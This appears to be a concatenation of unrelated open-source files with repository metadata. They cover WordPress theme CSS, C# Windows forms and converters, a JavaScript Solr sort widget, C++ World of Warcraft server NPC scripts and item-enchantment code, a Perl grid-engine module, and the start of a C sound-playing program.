.wp-pagenavi span { color: #aaa; font-size: 16px; padding: 7px 8px; display: inline; margin: 0 2px; }
.wp-pagenavi span.pages { font-size: 17px; font-weight: 300; display: block; margin-bottom: 1em!important; border: none!important; }
.wp-pagenavi span.pages:before { content: "\f15c"; font-family: FontAwesome; margin-right: 6px; }
.wp-pagenavi span.extend { border: none!important; border-bottom: 3px solid transparent; border-top: 1px solid transparent; }
.wp-pagenavi a:hover,
.wp-pagenavi a:active,
.wp-pagenavi span.current { color: #444; }
.wp-pagenavi a { color: #3b8dbd; border: none; border-bottom: 3px solid #ddd; border-top: 1px solid #f1f1f1; }
.wp-pagenavi a:hover,
.wp-pagenavi a:active,
.wp-pagenavi span.current { background: none; border: none; border-bottom: 3px solid #3b8dbd; border-top: 1px solid #f1f1f1; }
/* plugin : contact form 7
/* ------------------------------------ */
.wpcf7 { }
.wpcf7 p { color: #222; font-weight: 600; margin: 0 0 12px; width: 100%; float: left; position: relative; }
.wpcf7 p span { font-weight: 400; color: #999; }
.wpcf7 label { display: block; float: left; width: 20%; margin: 9px 0 0 12px; text-align: left; }
.wpcf7 input[type="text"],
.wpcf7 input[type="email"] { display: block; float: left; padding: 10px; width: 100%; }
.wpcf7 textarea { display: block; float: left; padding: 10px; width: 100%; }
.wpcf7 input[type="text"],
.wpcf7 input[type="email"],
.wpcf7 textarea { background: #f5f5f5; margin-top: 12px; }
.wpcf7 input[type="submit"] { width: 100%; padding: 10px 0; font-size: 18px; }
.wpcf7 div.wpcf7-validation-errors { border: none; margin: 0; padding: 0; }
.wpcf7 div.wpcf7-mail-sent-ok,
.wpcf7 div.wpcf7-mail-sent-ng { border: none; }
.wpcf7 div.wpcf7-response-output { margin: 0; padding: 0; }
.wpcf7 span.wpcf7-form-control-wrap { display: block; position: relative; }
.wpcf7 span.wpcf7-not-valid-tip { background: #f2dede; border-color: #e3bfbf; color: #b94a48; padding: 4px 14px; font-size: 12px; line-height: 20px; position: absolute; left: 0; top: 12px; width: auto; right: 0; display: block; }
/* ------------------------------------------------------------------------- *
* Flexslider
/* ------------------------------------------------------------------------- */
/* flexslider : resets
/* ------------------------------------ */
.flex-container a:active,
.flexslider a:active,
.flex-container a:focus,
.flexslider a:focus { outline: none; }
.slides,
.flex-control-nav,
.flex-direction-nav { margin: 0; padding: 0; list-style: none; }
/* flexslider : necessary styles
/* ------------------------------------ */
.flexslider { margin: 0; padding: 0; }
.flexslider .slides > li { display: none; -webkit-backface-visibility: hidden;} /* Hide the slides before the JS is loaded. Avoids image jumping */
.flexslider .slides img { width: 100%; height: auto; display: block; margin: 0 auto; }
.flex-pauseplay span { text-transform: capitalize; }
.slides:after { content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0; }
html { -webkit-font-smoothing: antialiased; /* safari font rendering issue fix */ }
html[xmlns] .slides { display: block; }
* html .slides { height: 1%;}
.no-js .slides > li:first-child { display: block; }
/* flexslider : default theme
/* ------------------------------------ */
.flexslider { margin: 0 0 60px; position: relative; zoom: 1; }
.flex-viewport { max-height: 2000px; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; transition: all 1s ease; }
.loading .flex-viewport { max-height: 300px; }
.flexslider .slides { zoom: 1; }
.flexslider .slides > li { position: relative; }
.carousel li { margin-right: 5px; }
/* direction nav */
.flex-direction-nav { *height: 0; position: absolute; top: 10px; right: 10px; z-index: 2; }
.flex-direction-nav li { float: left; margin-left: 4px; }
.flex-direction-nav li:first-child { float: left; }
.flex-direction-nav li:last-child { float: right; }
.flex-direction-nav a { background: rgba(0,0,0,0.7); opacity: 0.6; position: relative; width: 40px; height: 40px; margin: 0 0 0; display: block; cursor: pointer; text-indent: -999px; overflow: hidden;
-webkit-transition: all .3s ease; transition: all .3s ease;
-webkit-border-radius: 3px; border-radius: 3px; }
.flexslider:hover .flex-next,
.flexslider:hover .flex-prev { opacity: 0.8; }
.flexslider:hover .flex-next:hover, .flexslider:hover .flex-prev:hover { opacity: 1; }
.flex-direction-nav .flex-disabled {opacity: .3!important; filter:alpha(opacity=30); cursor: default; }
/* direction nav arrows */
.flex-direction-nav a:before { font-family: FontAwesome; font-size: 20px; line-height: 24px; position: absolute; text-align: center; left: 0; right: 0; top: 9px; text-indent: 0; }
.flex-direction-nav .flex-next:before { content:"\f054"; }
.flex-direction-nav .flex-prev:before { content: "\f053"; }
/* control nav */
.flex-control-nav { width: 100%; position: absolute; bottom: -30px; text-align: center; }
.flex-control-nav li { margin: 0 3px; display: inline-block; zoom: 1; *display: inline; }
.flex-control-nav li a { background: rgba(0,0,0,0.15); width: 10px; height: 10px; display: block; cursor: pointer; text-indent: -999px; overflow: hidden;
-webkit-border-radius: 100%; border-radius: 100%; }
.flex-control-nav li a:hover { background: rgba(0,0,0,0.15); }
.flex-control-nav li a.flex-active { background: rgba(0,0,0,0.25); cursor: default; }
.flex-control-thumbs { margin: 5px 0 0; position: static; overflow: hidden; }
.flex-control-thumbs li { width: 25%; float: left; margin: 0; }
.flex-control-thumbs img { width: 100%; display: block; opacity: .7; cursor: pointer; }
.flex-control-thumbs img:hover { opacity: 1; }
.flex-control-thumbs .flex-active { opacity: 1; cursor: default; }
@media screen and (max-width: 860px) {
.flex-direction-nav .flex-prev { opacity: .7; right: 0; }
.flex-direction-nav .flex-next { opacity: .7; right: 0; }
}
/* ------------------------------------------------------------------------- *
* Shortcodes
/* ------------------------------------------------------------------------- */
/* shortcode : dropcap
/* ------------------------------------ */
.dropcap { color: #444; display: block; float: left; font-size: 94px; line-height: 0.9em; font-weight: 600; margin: 0 10px 0 0; }
/* shortcode : pullquotes
/* ------------------------------------ */
.pullquote-left { color: #444; border-left: 6px solid #eee; float: left; margin: 0.78em 1em 0.78em 0; padding: 0 0 0 20px; font-weight: 600; width: 40%; }
.pullquote-right { color: #444; border-right: 6px solid #eee; float: right; margin: 0.78em 0 0.78em 1em; padding: 0 20px 0 0; font-weight: 600; width: 40%; }
/* shortcode : highlights
/* ------------------------------------ */
.highlight { color: #222; border-bottom: 1px dotted #222; }
/* shortcode : hr
/* ------------------------------------ */
hr, .hr { border: 0; background: #eee; border-bottom: 2px solid #eee; height: 1px; margin: 30px 0; }
/* ------------------------------------------------------------------------- *
* IE Fixes
/* ------------------------------------------------------------------------- */
body.ie8,
.ie8.single .related-posts .post-title,
.ie8 .s1 .alx-posts .post-item-title,
.ie8 #footer .alx-posts .post-item-title { font-weight: 400; }
.ie8 .author-bio .bio-avatar:after,
.ie8 .commentlist li.bypostauthor > .comment-body:after { display: none; }
.ie8 .nav li > a:after { content: ""!important; }
.ie8 .nav > li > a:after { content: ""!important; }
.ie8 #nav-topbar .nav > li > a:hover,
.ie8 #nav-topbar .nav > li:hover > a,
.ie8 #nav-header .nav > li > a:hover,
.ie8 #nav-header .nav > li:hover > a,
.ie8 .toggle-search:hover,
.ie8 .toggle-search.active,
.ie8 .search-expand-inner { background: url(img/opacity-10.png); }
.ie8 .thumb-icon,
.ie8 .image-caption,
.ie8 .page-image-text .description i,
.ie8 .flex-direction-nav a { background: url(img/ie/opacity-70.png); }
.ie8 .entry .gallery .gallery-caption { background: url(img/ie/opacity-80-light.png); }
|
tallman07/demowordpress
|
wp-content/themes/hueman/style.css
|
CSS
|
gpl-2.0
| 79,698
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Slot_Machine.Forms
{
public partial class HelpWindow : Form
{
public HelpWindow()
{
InitializeComponent();
}
private void btnClose_Click(object sender, EventArgs e)
{
this.Close();
}
}
}
|
chrispdevelopment/Slot-Machine
|
Slot Machine/Forms/Help Window.cs
|
C#
|
gpl-2.0
| 470
|
using System;
using Windows.UI;
using Windows.UI.Xaml.Data;
using Windows.UI.Xaml.Media;
namespace Rester.Converter
{
internal class BooleanToGreenOrRedConverter : IValueConverter
{
public object Convert(object value, Type targetType, object parameter, string language)
{
bool result = value is bool && (bool)value;
return new SolidColorBrush(result ? Colors.Green : Colors.Red);
}
public object ConvertBack(object value, Type targetType, object parameter, string language)
{
throw new NotImplementedException();
}
}
}
|
johanclasson/Rester
|
Rester/Converter/BooleanToGreenOrRedConverter.cs
|
C#
|
gpl-2.0
| 639
|
/**
* Define the IS CurrentSearch Widget.
*/
(function ($, history) {
AjaxSolr.asu_dirSortWidget = AjaxSolr.AbstractWidget.extend({
start: 0,
active_sort: null,
direction: 'asc',
/**
* @param {Object} [attributes]
* @param {Number} [attributes.start] This widget will by default set the
* offset parameter to 0 on each request.
*/
constructor: function (attributes) {
AjaxSolr.asu_dirTreeWidget.__super__.constructor.apply(this, arguments);
AjaxSolr.extend(this, {
sortItems: [],
fieldConfigs: null,
defaultSort: null,
titleSortField: null,
fieldId: null
}, attributes);
},
init: function () {
var self = this;
var sort_items = self.sortItems;
var fieldConfigs = self.fieldConfigs;
var default_sort = self.defaultSort;
var titlesort_field = self.titleSortField;
//var tsort_placeholder = self.tsort_placeholder;
var fieldId = self.fieldId;
// set the default sort
self.active_sort = default_sort;
self.direction = 'asc';
self.manager.store.remove('sort');
if (self.active_sort != titlesort_field) {
fieldConfigs.show_managers = false;
self.manager.store.addByValue('sort', self.active_sort + ' ' + self.direction);
} else {
fieldConfigs.show_managers = true;
self.manager.store.addByValue('sort', 'lastNameSort asc');
}
for (var i = 0; i < sort_items.length; i++) {
var name = sort_items[i].field_name;
if (fieldConfigs.show_managers || self.active_sort == titlesort_field) {
fieldConfigs.show_managers = true;
if (name == titlesort_field) {
$(sort_items[i].fieldId).addClass('dir-active-sort');
}
} else if (name == self.active_sort) {
$(sort_items[i].fieldId).append('<i class="dir-sort-icon fa fa-sort-' + self.direction + '"></i>');
$(sort_items[i].fieldId).addClass('dir-active-sort');
}
$(sort_items[i].fieldId).click(function (field_name) {
// return a click handler, with the name copied to field_name, because we are
// in a loop
return function () {
//save prev sort before assigning new
var prev_sort = self.active_sort;
// if prevsort and new sort are title rank, return without doing anything.
// this is because we don't want to have reverse titlerank sort.
if (prev_sort == field_name && field_name == titlesort_field) {
return false;
}
self.active_sort = field_name;
//go back to first page if changing sort
self.manager.store.remove('start');
//if there was a previous sort, then do some logic to add active classes, etc.
//note: there should always be a prev_sort, since we have a default
//SPECIAL CASE FOR THE TITLESORT FIELD
if (field_name == titlesort_field) {
ASUPeople[fieldId].fieldConfigs.show_managers = true;
// special case. if we haven't changed placeholder yet,
// then return false after doing request, but don't change manager store sort
$(self.target).find('.dir-active-sort').removeClass('dir-active-sort');
$(this).addClass('dir-active-sort');
self.manager.store.remove('sort');
self.manager.store.addByValue('sort', 'lastNameSort asc');
self.manager.doRequest();
return false;
} else {
ASUPeople[fieldId].fieldConfigs.show_managers = false;
}
//special logic for ranksort, otherwise switch asc/desc
/*if (field_name == titleSortField) {
var target = $(self.target).find('.dir-active-sort');
target.removeClass('dir-active-sort');
$(this).addClass('dir-active-sort');
self.direction = 'asc';
} else*/
if (field_name == prev_sort) {
if (self.direction == 'asc') {
self.direction = 'desc';
} else {
self.direction = 'asc';
}
} else {
var t2 = $(self.target).find('.dir-active-sort');//.removeClass('dir-active-sort');
t2.removeClass('dir-active-sort');
$(this).addClass('dir-active-sort');
self.direction = 'asc';
}
var new_sort = self.active_sort + ' ' + self.direction;
if (self.active_sort == titlesort_field) {
new_sort += ',lastNameSort asc';
}
self.manager.store.remove('sort');
self.manager.store.addByValue('sort', new_sort);
self.manager.doRequest();
$(this).find('.fa').remove();
if (field_name != titlesort_field) {
$(this).append('<i class="dir-sort-icon fa fa-sort-' + self.direction + '"></i>');
}
}
}(name));
}
}
});
})(jQuery, window.History);
|
jrounsav/webspark-drops-drupal7
|
profiles/openasu/modules/custom/asu_dirs/asu_dir/js/widgets/asu_dirSortWidget.js
|
JavaScript
|
gpl-2.0
| 6,259
|
/* Copyright (C) 2006 - 2009 ScriptDev2 <https://scriptdev2.svn.sourceforge.net/>
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/* ScriptData
SDName: Stormwind_City
SD%Complete: 100
SDComment: Quest support: 1640, 1447, 4185, 11223 (DB support required for spell 42711). Receive emote General Marcus
SDCategory: Stormwind City
EndScriptData */
/* ContentData
npc_archmage_malin
npc_bartleby
npc_dashel_stonefist
npc_general_marcus_jonathan
npc_lady_katrana_prestor
EndContentData */
#include "precompiled.h"
#include "WorldPacket.h"
/*######
## npc_archmage_malin
######*/
#define GOSSIP_ITEM_MALIN "Can you send me to Theramore? I have an urgent message for Lady Jaina from Highlord Bolvar."
bool GossipHello_npc_archmage_malin(Player *player, Creature *_Creature)
{
if(_Creature->isQuestGiver())
player->PrepareQuestMenu( _Creature->GetGUID() );
if(player->GetQuestStatus(11223) == QUEST_STATUS_COMPLETE && !player->GetQuestRewardStatus(11223))
player->ADD_GOSSIP_ITEM(0, GOSSIP_ITEM_MALIN, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF);
player->SEND_GOSSIP_MENU(_Creature->GetNpcTextId(), _Creature->GetGUID());
return true;
}
bool GossipSelect_npc_archmage_malin(Player *player, Creature *_Creature, uint32 sender, uint32 action)
{
if(action = GOSSIP_ACTION_INFO_DEF)
{
player->CLOSE_GOSSIP_MENU();
_Creature->CastSpell(player, 42711, true);
}
return true;
}
/*######
## npc_bartleby
######*/
struct MANGOS_DLL_DECL npc_bartlebyAI : public ScriptedAI
{
npc_bartlebyAI(Creature *c) : ScriptedAI(c) {Reset();}
uint64 PlayerGUID;
void Reset()
{
m_creature->setFaction(11);
m_creature->setEmoteState(7);
PlayerGUID = 0;
}
void JustDied(Unit *who)
{
m_creature->setFaction(11);
}
void DamageTaken(Unit *done_by, uint32 & damage)
{
if(damage > m_creature->GetHealth() || ((m_creature->GetHealth() - damage)*100 / m_creature->GetMaxHealth() < 15))
{
//Take 0 damage
damage = 0;
if (done_by->GetTypeId() == TYPEID_PLAYER && done_by->GetGUID() == PlayerGUID)
{
((Player*)done_by)->AttackStop();
((Player*)done_by)->AreaExploredOrEventHappens(1640);
}
m_creature->CombatStop();
EnterEvadeMode();
}
}
void Aggro(Unit *who) {}
};
bool QuestAccept_npc_bartleby(Player *player, Creature *_Creature, Quest const *_Quest)
{
if(_Quest->GetQuestId() == 1640)
{
_Creature->setFaction(168);
((npc_bartlebyAI*)_Creature->AI())->PlayerGUID = player->GetGUID();
((npc_bartlebyAI*)_Creature->AI())->AttackStart(player);
}
return true;
}
CreatureAI* GetAI_npc_bartleby(Creature *_creature)
{
return new npc_bartlebyAI(_creature);
}
/*######
## npc_dashel_stonefist
######*/
struct MANGOS_DLL_DECL npc_dashel_stonefistAI : public ScriptedAI
{
npc_dashel_stonefistAI(Creature *c) : ScriptedAI(c) {Reset();}
void Reset()
{
m_creature->setFaction(11);
m_creature->setEmoteState(7);
}
void DamageTaken(Unit *done_by, uint32 & damage)
{
if((damage > m_creature->GetHealth()) || (m_creature->GetHealth() - damage)*100 / m_creature->GetMaxHealth() < 15)
{
//Take 0 damage
damage = 0;
if (done_by->GetTypeId() == TYPEID_PLAYER)
{
((Player*)done_by)->AttackStop();
((Player*)done_by)->AreaExploredOrEventHappens(1447);
}
//m_creature->CombatStop();
EnterEvadeMode();
}
AttackedBy(done_by);
}
void Aggro(Unit *who) {}
};
bool QuestAccept_npc_dashel_stonefist(Player *player, Creature *_Creature, Quest const *_Quest)
{
if(_Quest->GetQuestId() == 1447)
{
_Creature->setFaction(168);
((npc_dashel_stonefistAI*)_Creature->AI())->AttackStart(player);
}
return true;
}
CreatureAI* GetAI_npc_dashel_stonefist(Creature *_creature)
{
return new npc_dashel_stonefistAI(_creature);
}
/*######
## npc_general_marcus_jonathan
######*/
#define SAY_GREETING -1000208
bool ReceiveEmote_npc_general_marcus_jonathan(Player *player, Creature *_Creature, uint32 emote)
{
if(player->GetTeam() == ALLIANCE)
{
if (emote == TEXTEMOTE_SALUTE)
{
_Creature->SetOrientation(_Creature->GetAngle(player));
_Creature->HandleEmoteCommand(EMOTE_ONESHOT_SALUTE);
}
if (emote == TEXTEMOTE_WAVE)
{
DoScriptText(SAY_GREETING, _Creature, player);
}
}
return true;
}
/*######
## npc_lady_katrana_prestor
######*/
#define GOSSIP_ITEM_KAT_1 "Pardon the intrusion, Lady Prestor, but Highlord Bolvar suggested that I seek your advice."
#define GOSSIP_ITEM_KAT_2 "My apologies, Lady Prestor."
#define GOSSIP_ITEM_KAT_3 "Begging your pardon, Lady Prestor. That was not my intent."
#define GOSSIP_ITEM_KAT_4 "Thank you for your time, Lady Prestor."
bool GossipHello_npc_lady_katrana_prestor(Player *player, Creature *_Creature)
{
if (_Creature->isQuestGiver())
player->PrepareQuestMenu( _Creature->GetGUID() );
if (player->GetQuestStatus(4185) == QUEST_STATUS_INCOMPLETE)
player->ADD_GOSSIP_ITEM( 0, GOSSIP_ITEM_KAT_1, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF);
player->SEND_GOSSIP_MENU(2693, _Creature->GetGUID());
return true;
}
bool GossipSelect_npc_lady_katrana_prestor(Player *player, Creature *_Creature, uint32 sender, uint32 action)
{
switch (action)
{
case GOSSIP_ACTION_INFO_DEF:
player->ADD_GOSSIP_ITEM( 0, GOSSIP_ITEM_KAT_2, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 1);
player->SEND_GOSSIP_MENU(2694, _Creature->GetGUID());
break;
case GOSSIP_ACTION_INFO_DEF+1:
player->ADD_GOSSIP_ITEM( 0, GOSSIP_ITEM_KAT_3, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 2);
player->SEND_GOSSIP_MENU(2695, _Creature->GetGUID());
break;
case GOSSIP_ACTION_INFO_DEF+2:
player->ADD_GOSSIP_ITEM( 0, GOSSIP_ITEM_KAT_4, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 3);
player->SEND_GOSSIP_MENU(2696, _Creature->GetGUID());
break;
case GOSSIP_ACTION_INFO_DEF+3:
player->CLOSE_GOSSIP_MENU();
player->AreaExploredOrEventHappens(4185);
break;
}
return true;
}
/*######
## npc_harbor_taxi
######*/
#define GOSSIP_STORMWIND "I'd like to take a flight around Stormwind Harbor."
bool GossipHello_npc_stormwind_harbor_taxi(Player *player, Creature *_Creature)
{
player->SetTaxiCheater(true);
player->ADD_GOSSIP_ITEM(0, GOSSIP_STORMWIND, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 10);
player->SEND_GOSSIP_MENU(13454,_Creature->GetGUID());
return true;
}
bool GossipSelect_npc_stormwind_harbor_taxi(Player *player, Creature *_Creature, uint32 sender, uint32 action )
{
if (action == GOSSIP_ACTION_INFO_DEF + 10)
{
player->GetSession()->SendDoFlight(1149, 1041);
}
return true;
}
void AddSC_stormwind_city()
{
Script *newscript;
newscript = new Script;
newscript->Name = "npc_archmage_malin";
newscript->pGossipHello = &GossipHello_npc_archmage_malin;
newscript->pGossipSelect = &GossipSelect_npc_archmage_malin;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "npc_bartleby";
newscript->GetAI = &GetAI_npc_bartleby;
newscript->pQuestAccept = &QuestAccept_npc_bartleby;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "npc_dashel_stonefist";
newscript->GetAI = &GetAI_npc_dashel_stonefist;
newscript->pQuestAccept = &QuestAccept_npc_dashel_stonefist;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "npc_general_marcus_jonathan";
newscript->pReceiveEmote = &ReceiveEmote_npc_general_marcus_jonathan;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "npc_lady_katrana_prestor";
newscript->pGossipHello = &GossipHello_npc_lady_katrana_prestor;
newscript->pGossipSelect = &GossipSelect_npc_lady_katrana_prestor;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name="npc_stormwind_harbor_taxi";
newscript->pGossipHello = &GossipHello_npc_stormwind_harbor_taxi;
newscript->pGossipSelect = &GossipSelect_npc_stormwind_harbor_taxi;
newscript->RegisterSelf();
}
|
fanatix/fanatix-core
|
src/bindings/ScriptDev2/scripts/zone/stormwind/stormwind_city.cpp
|
C++
|
gpl-2.0
| 9,286
|
###############################################################################
#
# This file is part of canu, a software program that assembles whole-genome
# sequencing reads into contigs.
#
# This software is based on:
# 'Celera Assembler' (http://wgs-assembler.sourceforge.net)
# the 'kmer package' (http://kmer.sourceforge.net)
# both originally distributed by Applera Corporation under the GNU General
# Public License, version 2.
#
# Canu branched from Celera Assembler at its revision 4587.
# Canu branched from the kmer project at its revision 1994.
#
# Modifications by:
#
# Brian P. Walenz beginning on 2017-FEB-11
# are a 'United States Government Work', and
# are released in the public domain
#
# File 'README.licenses' in the root directory of this distribution contains
# full conditions and disclaimers for each license.
##
package canu::Grid_DNANexus;
require Exporter;
@ISA = qw(Exporter);
@EXPORT = qw(detectDNANexus configureDNANexus);
use strict;
use canu::Defaults;
use canu::Grid;
use canu::Execution;
sub detectDNANexus () {
return if ( defined(getGlobal("gridEngine"))); # Grid not requested.
return if (!defined($ENV{'DNA_NEXUS'})); # Not a DNA Nexus grid
print STDERR "-- Detected DNA Nexus '...some-version...'.\n";
setGlobal("gridEngine", "DNANEXUS");
# DNANexus mode doesn't support (easily) the gatekeeper check on short reads.
# The issue is that we'd need to save the store, ask the user to accept it (and rename),
# then continue. Nothing super tricky, just not done.
setGlobal("stopOnReadQuality", 0);
}
sub configureDNANexus () {
return if (uc(getGlobal("gridEngine")) ne "DNANEXUS");
my $maxArraySize = 65535;
# Probe for the maximum array job size
setGlobalIfUndef("gridEngineSubmitCommand", "");
setGlobalIfUndef("gridEngineNameOption", "");
setGlobalIfUndef("gridEngineArrayOption", "");
setGlobalIfUndef("gridEngineArrayName", "");
setGlobalIfUndef("gridEngineArrayMaxJobs", $maxArraySize);
setGlobalIfUndef("gridEngineOutputOption", "");
setGlobalIfUndef("gridEnginePropagateCommand", "");
setGlobalIfUndef("gridEngineThreadsOption", undef);
setGlobalIfUndef("gridEngineMemoryOption", undef);
setGlobalIfUndef("gridEngineNameToJobIDCommand", undef);
setGlobalIfUndef("gridEngineNameToJobIDCommandNoArray", undef);
setGlobalIfUndef("gridEngineTaskID", "");
setGlobalIfUndef("gridEngineArraySubmitID", "");
setGlobalIfUndef("gridEngineJobID", "");
my %hosts;
# Probe for how to request multiple CPUs on each node, set
# .
# .
# .
# Probe for how to reserve memory on each node
# .
# .
# .
# Build a list of the resources available in the grid. This will contain a list with keys of
# "#CPUs-#GBs" and values of the number of nodes With such a config. Later on, we'll use this
# to figure out what specific settings to use for each algorithm.
#
# The list is saved in global{"availableHosts"}
# .
# $hosts{"4-32"} = 15; # 15 machines with 4 CPUs and 32gb memory
# .
setGlobal("availableHosts", formatAllowedResources(%hosts, "DNA Nexus"));
}
|
sgblanch/canu
|
src/pipelines/canu/Grid_DNANexus.pm
|
Perl
|
gpl-2.0
| 3,466
|
/*
* Copyright (C) 2008-2012 TrinityCore <http://www.trinitycore.org/>
* Copyright (C) 2005-2009 MaNGOS <http://getmangos.com/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdlib.h>
#include <functional>
#include "ItemEnchantmentMgr.h"
#include "DatabaseEnv.h"
#include "Log.h"
#include "ObjectMgr.h"
#include <list>
#include <vector>
#include "Util.h"
struct EnchStoreItem
{
uint32 ench;
float chance;
EnchStoreItem()
: ench(0), chance(0) {}
EnchStoreItem(uint32 _ench, float _chance)
: ench(_ench), chance(_chance) {}
};
typedef std::vector<EnchStoreItem> EnchStoreList;
typedef std::unordered_map<uint32, EnchStoreList> EnchantmentStore;
static EnchantmentStore RandomItemEnch;
void LoadRandomEnchantmentsTable()
{
uint32 oldMSTime = getMSTime();
RandomItemEnch.clear(); // for reload case
// 0 1 2
QueryResult result = WorldDatabase.Query("SELECT entry, ench, chance FROM item_enchantment_template");
if (result)
{
uint32 count = 0;
do
{
Field* fields = result->Fetch();
uint32 entry = fields[0].GetUInt32();
uint32 ench = fields[1].GetUInt32();
float chance = fields[2].GetFloat();
if (chance > 0.000001f && chance <= 100.0f)
RandomItemEnch[entry].push_back(EnchStoreItem(ench, chance));
++count;
} while (result->NextRow());
sLog->outString(">> Loaded %u Item Enchantment definitions in %u ms", count, GetMSTimeDiffToNow(oldMSTime));
sLog->outString();
}
else
{
sLog->outErrorDb(">> Loaded 0 Item Enchantment definitions. DB table `item_enchantment_template` is empty.");
sLog->outString();
}
}
uint32 GetItemEnchantMod(int32 entry)
{
if (!entry)
return 0;
if (entry == -1)
return 0;
EnchantmentStore::const_iterator tab = RandomItemEnch.find(entry);
if (tab == RandomItemEnch.end())
{
sLog->outErrorDb("Item RandomProperty / RandomSuffix id #%u used in `item_template` but it does not have records in `item_enchantment_template` table.", entry);
return 0;
}
double dRoll = rand_chance();
float fCount = 0;
for (EnchStoreList::const_iterator ench_iter = tab->second.begin(); ench_iter != tab->second.end(); ++ench_iter)
{
fCount += ench_iter->chance;
if (fCount > dRoll)
return ench_iter->ench;
}
//we could get here only if sum of all enchantment chances is lower than 100%
dRoll = (irand(0, (int)floor(fCount * 100) + 1)) / 100;
fCount = 0;
for (EnchStoreList::const_iterator ench_iter = tab->second.begin(); ench_iter != tab->second.end(); ++ench_iter)
{
fCount += ench_iter->chance;
if (fCount > dRoll)
return ench_iter->ench;
}
return 0;
}
uint32 GenerateEnchSuffixFactor(uint32 item_id)
{
ItemTemplate const* itemProto = sObjectMgr->GetItemTemplate(item_id);
if (!itemProto)
return 0;
if (!itemProto->RandomSuffix)
return 0;
RandomPropertiesPointsEntry const* randomProperty = sRandomPropertiesPointsStore.LookupEntry(itemProto->ItemLevel);
if (!randomProperty)
return 0;
uint32 suffixFactor;
switch (itemProto->InventoryType)
{
// Items of that type don`t have points
case INVTYPE_NON_EQUIP:
case INVTYPE_BAG:
case INVTYPE_TABARD:
case INVTYPE_AMMO:
case INVTYPE_QUIVER:
case INVTYPE_RELIC:
return 0;
// Select point coefficient
case INVTYPE_HEAD:
case INVTYPE_BODY:
case INVTYPE_CHEST:
case INVTYPE_LEGS:
case INVTYPE_2HWEAPON:
case INVTYPE_ROBE:
suffixFactor = 0;
break;
case INVTYPE_SHOULDERS:
case INVTYPE_WAIST:
case INVTYPE_FEET:
case INVTYPE_HANDS:
case INVTYPE_TRINKET:
suffixFactor = 1;
break;
case INVTYPE_NECK:
case INVTYPE_WRISTS:
case INVTYPE_FINGER:
case INVTYPE_SHIELD:
case INVTYPE_CLOAK:
case INVTYPE_HOLDABLE:
suffixFactor = 2;
break;
case INVTYPE_WEAPON:
case INVTYPE_WEAPONMAINHAND:
case INVTYPE_WEAPONOFFHAND:
suffixFactor = 3;
break;
case INVTYPE_RANGED:
case INVTYPE_THROWN:
case INVTYPE_RANGEDRIGHT:
suffixFactor = 4;
break;
default:
return 0;
}
// Select rare/epic modifier
switch (itemProto->Quality)
{
case ITEM_QUALITY_UNCOMMON:
return randomProperty->UncommonPropertiesPoints[suffixFactor];
case ITEM_QUALITY_RARE:
return randomProperty->RarePropertiesPoints[suffixFactor];
case ITEM_QUALITY_EPIC:
return randomProperty->EpicPropertiesPoints[suffixFactor];
case ITEM_QUALITY_LEGENDARY:
case ITEM_QUALITY_ARTIFACT:
return 0; // not have random properties
default:
break;
}
return 0;
}
|
GiR-Zippo/Strawberry335
|
src/server/game/Entities/Item/ItemEnchantmentMgr.cpp
|
C++
|
gpl-2.0
| 5,882
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Ch14Ex02")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Ch14Ex02")]
[assembly: AssemblyCopyright("Copyright © 2012")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("f5934281-9422-4cb0-80dc-90415a1dd5a0")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
|
ktjones/BVCS2012
|
_Source/Chapter14Code/Ch14Ex02/Properties/AssemblyInfo.cs
|
C#
|
gpl-2.0
| 1,392
|
/*
* sound.c -- Plays sound from file.
*
* Copyright (C) 2003 Hugo Villeneuve <hugo@hugovil.com>
* Based on the 'sndfile-play' demo program from 'libsndfile'
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
